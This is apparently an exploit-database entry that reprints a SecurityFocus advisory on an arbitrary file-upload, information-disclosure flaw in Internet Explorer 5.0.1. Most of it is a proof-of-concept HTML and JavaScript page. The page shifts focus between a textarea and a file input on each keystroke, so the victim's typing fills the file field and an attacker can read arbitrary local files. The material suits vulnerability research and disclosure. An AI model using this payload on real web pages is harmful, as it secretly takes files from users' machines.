Microsoft Internet Explorer 5.0.1 - Arbitrary File Upload

source: https://www.securityfocus.com/bid/25836/info

Microsoft Internet Explorer is prone to an information-disclosure vulnerability that allows attackers to gain access to the contents of arbitrary files.

This issue stems from a design error resulting from the improper handling of form fields.

This issue is similar to the one described in BID 24725 (Mozilla Firefox OnKeyDown Event File Upload Vulnerability). 

# based upon Hong's exploit:
# http://sla.ckers.org/forum/read.php?3,13142

<script>

function Clear() {
     document.getElementById("label1").htmlFor="file1";
     document.getElementById("text1").focus();
}

function Down() {
     document.getElementById("file1").focus();
}

</script>

<input type="file" id="file1" name="file1" onkeydown="Clear()" onkeyup="Clear()" />
<label id="label1" name="label1"></label>
<br />
<textarea name="text1" id="text1" onkeydown="Down()">
&lt;/textarea&gt;